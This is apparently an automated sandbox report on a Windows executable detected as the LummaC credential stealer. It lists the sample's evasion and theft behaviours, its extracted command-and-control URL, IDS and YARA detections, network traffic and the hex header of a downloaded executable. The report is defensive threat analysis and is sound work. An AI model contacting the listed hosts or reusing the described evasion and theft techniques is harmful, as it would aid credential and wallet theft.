Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1564518
MD5:	d1675a39609d5cd41c268e70711c7ee5
SHA1:	1c2ce4df65dd63ea4f9974ff4f211865f622636f
SHA256:	74e0ddd212fdca922fdf9a3221d849201216b6155e23fb0ff0ffb14d23082fd8
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7496 cmdline: "C:\Users\user\Desktop\file.exe" MD5: D1675A39609D5CD41C268E70711C7EE5)

chrome.exe (PID: 2944 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7248 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2152 --field-trial-handle=1936,i,6285013393734485110,13074657082886557463,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6944 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 1460 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2040 --field-trial-handle=2004,i,5650072745666498097,8566792970818888660,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Configuration

Threatname: LummaC

{"C2 url": "https://marshal-zhukov.com/api", "Build Version": "LOGS11--LiveTraffi"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2068128721.000000000132B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1969065604.000000000132B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1969592075.000000000132B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1969046979.0000000001321000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1810218656.000000000131B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2070720241.000000000132C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1810240683.000000000132E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2068046614.0000000001320000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1861333026.000000000131F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2067860031.000000000131E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2070760331.0000000001331000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1865270340.0000000001321000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1811318565.000000000131F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1861174374.000000000131B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1968740464.000000000131F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7496	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7496	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 7496	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Click to see the 13 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T13:09:01.585587+0100	2028371	3	Unknown Traffic	192.168.2.4	49730	23.55.153.106	443	TCP
2024-11-28T13:09:05.797409+0100	2028371	3	Unknown Traffic	192.168.2.4	49731	104.21.82.174	443	TCP
2024-11-28T13:09:08.435768+0100	2028371	3	Unknown Traffic	192.168.2.4	49732	104.21.82.174	443	TCP
2024-11-28T13:09:11.590666+0100	2028371	3	Unknown Traffic	192.168.2.4	49733	104.21.82.174	443	TCP
2024-11-28T13:09:17.020000+0100	2028371	3	Unknown Traffic	192.168.2.4	49736	104.21.82.174	443	TCP
2024-11-28T13:09:27.478896+0100	2028371	3	Unknown Traffic	192.168.2.4	49741	104.21.82.174	443	TCP
2024-11-28T13:09:37.561300+0100	2028371	3	Unknown Traffic	192.168.2.4	49742	104.21.82.174	443	TCP
2024-11-28T13:09:44.996166+0100	2028371	3	Unknown Traffic	192.168.2.4	49743	104.21.82.174	443	TCP
2024-11-28T13:09:52.055002+0100	2028371	3	Unknown Traffic	192.168.2.4	49744	104.21.82.174	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T13:09:07.161932+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49731	104.21.82.174	443	TCP
2024-11-28T13:09:10.011604+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49732	104.21.82.174	443	TCP
2024-11-28T13:09:52.792280+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49744	104.21.82.174	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T13:09:07.161932+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49731	104.21.82.174	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T13:09:10.011604+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49732	104.21.82.174	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (marshal-zhukov .com in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T13:09:05.797409+0100	2057416	1	Domain Observed Used for C2 Detected	192.168.2.4	49731	104.21.82.174	443	TCP
2024-11-28T13:09:08.435768+0100	2057416	1	Domain Observed Used for C2 Detected	192.168.2.4	49732	104.21.82.174	443	TCP
2024-11-28T13:09:11.590666+0100	2057416	1	Domain Observed Used for C2 Detected	192.168.2.4	49733	104.21.82.174	443	TCP
2024-11-28T13:09:17.020000+0100	2057416	1	Domain Observed Used for C2 Detected	192.168.2.4	49736	104.21.82.174	443	TCP
2024-11-28T13:09:27.478896+0100	2057416	1	Domain Observed Used for C2 Detected	192.168.2.4	49741	104.21.82.174	443	TCP
2024-11-28T13:09:37.561300+0100	2057416	1	Domain Observed Used for C2 Detected	192.168.2.4	49742	104.21.82.174	443	TCP
2024-11-28T13:09:44.996166+0100	2057416	1	Domain Observed Used for C2 Detected	192.168.2.4	49743	104.21.82.174	443	TCP
2024-11-28T13:09:52.055002+0100	2057416	1	Domain Observed Used for C2 Detected	192.168.2.4	49744	104.21.82.174	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T13:09:54.245729+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	49745	185.215.113.16	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (marshal-zhukov .com)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T13:09:03.112471+0100	2057415	1	Domain Observed Used for C2 Detected	192.168.2.4	54012	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T13:09:26.051251+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49736	104.21.82.174	443	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T13:09:45.046609+0100	2843864	1	A Network Trojan was detected	192.168.2.4	49743	104.21.82.174	443	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T13:09:02.450258+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.4	49730	23.55.153.106	443	TCP

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: file.exe, 00000000.00000003.2303128642.00000000080F0000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2401303448.0000000005C52000.00000040.00000800.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2057415 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (marshal-zhukov .com) : 192.168.2.4:54012 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057416 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (marshal-zhukov .com in TLS SNI) : 192.168.2.4:49733 -> 104.21.82.174:443
Source: Network traffic	Suricata IDS: 2057416 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (marshal-zhukov .com in TLS SNI) : 192.168.2.4:49742 -> 104.21.82.174:443
Source: Network traffic	Suricata IDS: 2057416 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (marshal-zhukov .com in TLS SNI) : 192.168.2.4:49732 -> 104.21.82.174:443
Source: Network traffic	Suricata IDS: 2057416 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (marshal-zhukov .com in TLS SNI) : 192.168.2.4:49741 -> 104.21.82.174:443
Source: Network traffic	Suricata IDS: 2057416 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (marshal-zhukov .com in TLS SNI) : 192.168.2.4:49731 -> 104.21.82.174:443
Source: Network traffic	Suricata IDS: 2057416 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (marshal-zhukov .com in TLS SNI) : 192.168.2.4:49736 -> 104.21.82.174:443
Source: Network traffic	Suricata IDS: 2057416 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (marshal-zhukov .com in TLS SNI) : 192.168.2.4:49743 -> 104.21.82.174:443
Source: Network traffic	Suricata IDS: 2057416 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (marshal-zhukov .com in TLS SNI) : 192.168.2.4:49744 -> 104.21.82.174:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.4:49730 -> 23.55.153.106:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49732 -> 104.21.82.174:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49732 -> 104.21.82.174:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49744 -> 104.21.82.174:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49731 -> 104.21.82.174:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49731 -> 104.21.82.174:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49736 -> 104.21.82.174:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:49743 -> 104.21.82.174:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://marshal-zhukov.com/api

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 28 Nov 2024 12:09:54 GMTContent-Type: application/octet-streamContent-Length: 2778624Last-Modified: Thu, 28 Nov 2024 11:47:39 GMTConnection: keep-aliveETag: "6748585b-2a6600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2b 00 00 04 00 00 32 38 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6f 76 6d 73 71 6e 67 6c 00 20 2a 00 00 a0 00 00 00 06 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 7a 64 72 6c 65 61 65 00 20 00 00 00 c0 2a 00 00 04 00 00 00 40 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 2a 00 00 22 00 00 00 44 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 13.107.246.63 13.107.246.63
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49730 -> 23.55.153.106:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49732 -> 104.21.82.174:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49733 -> 104.21.82.174:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49731 -> 104.21.82.174:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49741 -> 104.21.82.174:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49742 -> 104.21.82.174:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49736 -> 104.21.82.174:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49743 -> 104.21.82.174:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49745 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49744 -> 104.21.82.174:443

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=kVOOF6t5ugSsvNa&MD=vea5wBbf HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=kVOOF6t5ugSsvNa&MD=vea5wBbf HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
